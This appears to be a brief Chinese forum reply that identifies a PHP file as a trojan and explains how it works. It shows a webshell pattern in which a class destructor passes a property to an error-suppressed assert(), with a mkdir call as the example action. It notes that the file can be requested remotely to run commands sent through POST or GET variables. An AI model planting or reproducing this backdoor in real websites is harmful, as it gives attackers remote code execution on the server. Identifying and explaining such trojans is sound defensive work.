是个木马

```php
class EPLF
{

function __destruct()
{
return @assert("$this->RU");
}
}
$a = new EPLF();
@$a->RU = mkdir('/d/shellattack',0777,true);


```

类似这样，可以通过远程请求该文件执行一些非法操作，执行的操作通过 post/get 提交的变量来处理。